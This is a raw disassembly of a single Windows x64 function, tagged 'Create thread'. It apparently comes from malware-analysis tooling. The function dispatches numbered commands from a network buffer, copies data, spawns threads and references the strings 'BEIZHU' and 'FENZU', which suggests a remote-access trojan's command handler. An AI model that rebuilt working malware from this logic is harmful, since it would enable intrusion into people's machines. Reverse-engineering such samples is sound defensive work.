Function at 0x140005074
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov ebp, r8d
mov r12, rdx
mov rdi, rcx
je 0x1400050d0
mov ebx, 0x410
lea rcx, [0x14005b630]
lea rdx, [0x14005c670]
mov r8d, ebx
call fcn.140020ee0
lea rcx, [0x14005ba40]
lea rdx, [0x14005ca80]
mov r8d, ebx
call fcn.140020ee0
mov r11d, dword [0x140058bb0]
jmp 0x140005115
cmp dword [0x14005ce90], 0
jne 0x140005521
mov ebx, 0x410
lea rcx, [0x14005b630]
lea rdx, [0x14005be50]
mov r8d, ebx
call fcn.140020ee0
lea rcx, [0x14005ba40]
lea rdx, [0x14005c260]
mov r8d, ebx
call fcn.140020ee0
mov r11d, dword [0x140058bac]
movzx ecx, byte [r12]
mov dword [0x140058ba8], r11d
cmp ecx, 7
jg 0x140005450
je 0x14000543d
test ecx, ecx
je 0x140005420
dec ecx
je 0x14000530b
dec ecx
je 0x1400051f8
sub ecx, 2
je 0x140005180
dec ecx
je 0x14000515e
dec ecx
jne 0x140005521
jmp 0x140005430
call fcn.140005534
lea r8, [0x14004a6d0]
lea rdx, [0x14004aa98]
mov ecx, 2
call fcn.1400065c4
jmp 0x140005521
mov r13d, 0x20470
mov ecx, r13d
call fcn.140021270
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140024d60
lea r11d, [rbp - 1]
mov ecx, r11d
mov ebx, r11d
call fcn.1400214d8
lea rdx, [r12 + 1]
mov r8d, ebx
mov rcx, rax
mov rdi, rax
call fcn.140020ee0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140021270
lea ecx, [rbp - 1]
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov dword [rsi + 0x404], ecx
mov rcx, qword [rax]
mov r9, rax
mov dword [rcx], 2
and qword [rsp + 0x28], 0
lea r8, [0x140004c40]
jmp 0x14000550a
mov r13d, 0x20470
mov ecx, r13d
call fcn.140021270
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rbp, rax
call fcn.140024d60
lea rdx, [r12 + 1]
mov r8d, r13d
mov rcx, rbp
call fcn.140020ee0
movsxd rsi, dword [r12 + 0x20471]
mov rcx, rsi
call fcn.1400214d8
lea rdx, [r12 + 0x20475]
mov r8, rsi
mov rcx, rax
mov rdi, rax
call fcn.140020ee0
mov ecx, reloc.WS2_32.dll_recv
call fcn.140021270
mov r12, rax
mov qword [rsp + 0x78], rax
mov qword [rax], rbp
mov qword [rax + 8], rdi
mov rcx, qword [rax]
mov dword [rcx + 0x404], esi
mov rcx, qword [0x14005cea0]
lea rax, [rsp + 0x78]
cmp rax, rcx
jae 0x1400052cd
mov rax, qword [0x14005ce98]
lea rdx, [rsp + 0x78]
cmp rax, rdx
ja 0x1400052cd
lea rbx, [rsp + 0x78]
sub rbx, rax
sar rbx, 3
cmp rcx, qword [0x14005cea8]
jne 0x1400052bf
lea rcx, [0x14005ce98]
call fcn.14000644c
mov rcx, qword [0x14005cea0]
mov rax, qword [0x14005ce98]
test rcx, rcx
je 0x1400052f8
mov rax, qword [rax + rbx*8]
mov qword [rcx], rax
jmp 0x1400052f1
cmp rcx, qword [0x14005cea8]
jne 0x1400052e9
lea rcx, [0x14005ce98]
call fcn.14000644c
mov rcx, qword [0x14005cea0]
test rcx, rcx
je 0x1400052f8
mov qword [rcx], r12
mov rcx, qword [0x14005cea0]
add rcx, 8
mov r9, r12
mov qword [0x14005cea0], rcx
jmp 0x1400051e6
mov r13d, 0x20470
mov ecx, r13d
call fcn.140021270
mov r8d, r13d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140024d60
lea rdx, [r12 + 1]
mov r8d, r13d
mov rcx, rsi
call fcn.140020ee0
mov rbx, qword [0x14005ce98]
mov r9, qword [0x14005cea0]
jmp 0x140005376
mov rax, qword [rbx]
lea r8, [rsi + 4]
mov rcx, qword [rax]
add rcx, 4
sub r8, rcx
movzx eax, word [rcx]
movzx edx, word [rcx + r8]
sub eax, edx
jne 0x14000536e
add rcx, 2
test edx, edx
jne 0x14000535a
test eax, eax
je 0x1400053cd
add rbx, 8
cmp rbx, r9
jne 0x140005349
mov ebp, 0x20471
mov ecx, ebp
call fcn.1400214d8
mov r8, r13
mov rdx, rsi
mov rbx, rax
mov byte [rax], 5
mov eax, 1
lea rcx, [rbx + 1]
mov dword [rsi + 0x400], eax
call fcn.140020ee0
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov r9, qword [rcx]
mov rdx, rbx
call qword [r9 + reloc.WS2_32.dll_recv]
mov rcx, rsi
call fcn.140020ec0
mov rcx, rbx
call fcn.140020ec0
jmp 0x140005521
mov rax, qword [rbx]
lea r8, [rsi + 0x202]
mov edx, 0xff
mov rcx, qword [rax]
add rcx, 0x202
call fcn.1400215c0
mov r9, qword [rbx]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x140004c40]
xor edx, edx
xor ecx, ecx
call fcn.140021d18
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140005521
mov rcx, rsi
jmp 0x1400053c3
mov eax, 1
xchg dword [rdi + 0x234], eax
call fcn.140005534
mov rcx, rdi
call fcn.14000563c
jmp 0x140005521
mov r8d, ebp
mov rdx, r12
mov rcx, rdi
call fcn.14000574c
jmp 0x140005521
sub ecx, 8
je 0x1400054ef
dec ecx
je 0x1400054ba
dec ecx
je 0x140005489
sub ecx, 0x5a
je 0x140005479
dec ecx
jne 0x140005521
and dword [0x14005ce90], ecx
jmp 0x140005521
mov eax, 1
mov dword [0x14005ce90], eax
jmp 0x140005521
movzx ecx, byte [r12 + 1]
test ecx, ecx
je 0x1400054a4
dec ecx
jne 0x140005521
lea rdx, str.BEIZHU
jmp 0x1400054ab
lea rdx, str.FENZU
lea r8, [r12 + 2]
mov rcx, rdi
call fcn.140006054
jmp 0x140005521
mov edx, dword [r12 + 1]
mov rcx, rdi
call fcn.140005dac
lea r8, [0x14004a6d0]
mov ecx, 2
test eax, eax
je 0x1400054e3
lea rdx, [0x14004aaa8]
jmp 0x140005176
lea rdx, [0x14004aab8]
jmp 0x140005176
and dword [rsp + 0x60], 0
lea rax, [rsp + 0x60]
lea r9, [r12 + 1]
mov qword [rsp + 0x28], rax
lea r8, [0x140006130]
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call fcn.140021d18
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x68]
add rsp, 0x30
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret